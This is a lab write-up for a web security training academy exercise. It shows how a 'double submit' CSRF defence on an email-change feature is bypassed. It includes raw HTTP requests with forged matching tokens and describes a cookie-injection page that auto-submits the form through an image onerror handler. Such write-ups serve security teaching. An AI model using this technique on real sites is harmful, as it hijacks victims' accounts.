This lab's email change functionality is vulnerable to CSRF. It attempts to use the insecure "double submit" CSRF prevention technique.
To solve the lab, use your exploit server to host an HTML page that uses a to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
Approach
After logging in as wiener, I intercepted the request to change the email address:
POST /my-account/change-email HTTP/2
Host: 0a72009d046c10ce806467d50060006d.web-security-academy.net
Cookie: session=C4oihOH4FdSdCK2aZ2MrdT3exaFfKPwg; csrf=Bu1ficg7Y5nkLuU4lclyYu4MqmKhtuPX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...
email=qweqqwe%40qwe.com&csrf=Bu1ficg7Y5nkLuU4lclyYu4MqmKhtuPX
I noticed that the CSRF token is duplicated in a cookie, a defense mechanism known as "double submit" CSRF protection. In this method, the application verifies that the token submitted in the request parameter matches the value in the cookie.
To test this, I crafted a custom CSRF token and passed it in both the CSRF cookie and the token parameter:
POST /my-account/change-email HTTP/2
Host: 0a72009d046c10ce806467d50060006d.web-security-academy.net
Cookie: session=C4oihOH4FdSdCK2aZ2MrdT3exaFfKPwg; csrf=ichyaboy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...
email=qweqqwe%40qwe.com&csrf=ichyaboy
The request was successful, confirming that the application only checks if the CSRF token in the parameter matches the one in the cookie.
I then built an initial CSRF PoC using Burp Suite Professional's Engagement tools:
When the victim visits this malicious HTML page, their browser attempts to fetch the image, which triggers the injection to set the csrf cookie. Upon failing to load the image, the onerror event handler submits the form, exploiting the CSRF vulnerability.
I modified the email value to avoid errors related to reused email addresses. After placing the CSRF PoC on my malicious page and delivering it to the victim, the lab was solved, confirming the successful email change.